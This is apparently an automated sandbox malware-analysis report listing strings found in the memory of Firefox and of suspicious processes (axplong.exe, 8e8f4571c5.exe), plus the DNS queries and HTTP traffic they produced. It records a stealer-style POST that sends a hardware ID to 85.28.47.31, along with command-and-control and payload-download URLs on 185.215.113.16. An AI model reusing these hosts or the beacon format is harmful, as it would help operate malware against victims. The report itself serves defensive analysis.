Source: firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2986979517.000001B116405000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: browser-delayed-startup-finishedtoolkit.singletonWindowTypehttps://www.youtube.com/account_shouldViewDownloadInternally/<toolkit.defaultChromeFeatures equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: devtools-commandkey-javascript-tracing-toggledevtools.debugger.remote-websocketdevtools.performance.recording.ui-base-url{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}Failed to execute WebChannel callback:No callback set for this channel.browser.fixup.dns_first_for_single_words@mozilla.org/uriloader/handler-service;1releaseDistinctSystemPrincipalLoaderand deploy previews URLs are allowed.devtools/client/framework/devtoolsDevToolsStartup.jsm:handleDebuggerFlagdevtools-commandkey-profiler-start-stopUnable to start devtools server on devtools.debugger.features.javascript-tracingJSON Viewer's onSave failed in startPersistenceWebChannel/this._originCheckCallbackresource://devtools/shared/security/socket.jsDevTools telemetry entry point failed: @mozilla.org/network/protocol;1?name=default@mozilla.org/network/protocol;1?name=filebrowser.urlbar.dnsResolveFullyQualifiedNamesdevtools/client/framework/devtools-browserhttps://poczta.interia.pl/mh/?mailto=%s^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjsScheme should be either http or httpsget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP{33d75835-722f-42c0-89cc-44f328e56a86}extractScheme/fixupChangedProtocol<https://mail.inbox.lv/compose?to=%s_injectDefaultProtocolHandlersIfNeeded^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.get FIXUP_FLAGS_MAKE_ALTERNATE_URIisDownloadsImprovementsAlreadyMigratedhttps://mail.yahoo.co.jp/compose/?To=%shttp://poczta.interia.pl/mh/?mailto=%sget FIXUP_FLAG_FORCE_ALTERNATE_URICan't invoke URIFixup in the content processresource://gre/modules/JSONFile.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%shandlerSvc fillHandlerInfo: don't know this type@mozilla.org/uriloader/web-handler-app;1@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/NetUtil.sys.mjs^([a-z+.-]+:\/{0,3})*([^\/@]+@).+@mozilla.org/uriloader/local-handler-app;1http://www.inbox.lv/rfc2368/?value=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}gecko.handlerService.defaultHandlersVersionhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/async-stream-copier;1Must have a source and a callback@mozilla.org/network/file-input-stream;1@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argument_finalizeInternal/this._finalizePromise<SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1resource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/network/input-stream-pump;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yandex.ru/compose?mailto=%sresource://gre/modules/DeferredTask.sys.mjshttps://mail.inbox.lv/compose?to=%s equals www.yaho
Source: 8e8f4571c5.exe, 00000018.00000002.3383993209.0000000006A26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: firefox.exe" https://www.youtube.com/accountC:\Program Files\Mozilla Firefox\firefox.exewinsta0\default equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: get MozTransitionTimingFunctionget MozTransitionDurationget contain-intrinsic-sizeget -webkit-mask-positionget -moz-perspective-originget -webkit-border-radiusset contain-intrinsic-sizeset -moz-backface-visibilityset MozFontFeatureSettings-moz-font-language-overrideset -moz-transition-durationset -moz-perspective-originset -webkit-border-radiusget MozBackfaceVisibilityset MozBackfaceVisibilityget -moz-backface-visibilityget -moz-transform-originset -moz-transform-originget -moz-font-feature-settingsget scroll-padding-inlineget MozFontFeatureSettingsset -moz-font-feature-settingsget MozFontLanguageOverride-moz-font-feature-settingsget -moz-font-language-overrideset -moz-font-language-overrideset MozTransitionDurationget -moz-transition-durationMozTransitionTimingFunctionset MozFontLanguageOverrideset scroll-padding-inlineset -webkit-mask-positionget MozTransitionPropertyget -moz-transition-propertyget -moz-transition-delayset -moz-animation-durationset MozAnimationTimingFunctionset MozTransitionPropertyset -moz-transition-propertyMozAnimationTimingFunctionget -moz-animation-direction-moz-animation-play-stateMozAnimationIterationCountset -moz-animation-direction-moz-animation-iteration-countget -moz-animation-play-stateset MozAnimationIterationCountget MozAnimationPlayStateset -moz-transition-delayset -moz-animation-play-stateget -moz-animation-fill-modeset -moz-animation-fill-modeset MozTransitionTimingFunctionget MozAnimationTimingFunctionget -moz-animation-duration-moz-animation-timing-functionget MozAnimationIterationCount-moz-transition-timing-functionset MozAnimationDirectionset MozAnimationPlayState--lwt-accent-color-inactiveget MozAnimationDirection--lwt-background-alignmenttoolbar_vertical_separatorhttps://www.youtube.com/accounttipShownCount.searchTip_onboard equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3000161016.000001B1177A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2994122055.000001B116B81000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: 8e8f4571c5.exe, 00000018.00000002.3357621046.00000000024C1000.00000004.00000020.00020000.00000000.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3374507339.0000000005388000.00000004.00000020.00020000.00000000.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3355266033.0000000002478000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account[ equals www.youtube.com (Youtube)
Source: 8e8f4571c5.exe, 0000001C.00000002.3374507339.0000000005388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountr equals www.youtube.com (Youtube)
Source: 8e8f4571c5.exe, 0000001C.00000002.3374507339.0000000005388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account~ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000003.2901986639.0000018A479AD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2903172052.0000018A479B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s://www.youtube.com/account --attempting-deelevation equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2955694353.000001B106703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: tlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: 8e8f4571c5.exe, 00000018.00000002.3381980808.00000000069AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: vwww.youtube.com/account equals www.youtube.com (Youtube)
Source: 8e8f4571c5.exe, 00000018.00000002.3381980808.00000000069AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: vwww.youtube.com/accounte equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2987356094.000001B11659D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2988472196.000001B116624000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.3000161016.000001B1177D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982408855.000001B115D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2994122055.000001B116B9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comappmenuitem-zoom equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.3015576756.000001B11D485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.comtype equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2987356094.000001B1165BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001F.00000002.2996759132.000001B117583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2989528701.000001B116803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x.S........[tlsflags0x00000000]www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2996759132.000001B1175D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xO^partitionKey=%28https%2Cyoutube.com%29,:https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2996759132.000001B1175D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2964737783.000001B111A09000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xhttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001F.00000002.2982408855.000001B115D80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: xtlsflags0x00000000:www.youtube.com:443^partitionKey=%28https%2Cyoutube.com%29 equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCAEHJJKFCAAFHJKFBKKHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 31 32 35 45 38 39 44 38 30 36 45 32 33 37 31 35 34 33 35 31 30 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 4a 4a 4b 46 43 41 41 46 48 4a 4b 46 42 4b 4b 2d 2d 0d 0a Data Ascii: ------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="hwid"B125E89D806E2371543510------HCAEHJJKFCAAFHJKFBKKContent-Disposition: form-data; name="build"sila------HCAEHJJKFCAAFHJKFBKK--

Source: firefox.exe, 0000001F.00000002.2953298471.000001B10486B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2967893682.000001B112B44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/15.113.16/
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php%
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php0wk
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php3
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpE
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpLw
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpMt$
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpNu%
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpcoded
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpcw
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpi
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedgg=
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phprsi
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=
Source: axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/a=t
Source: file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
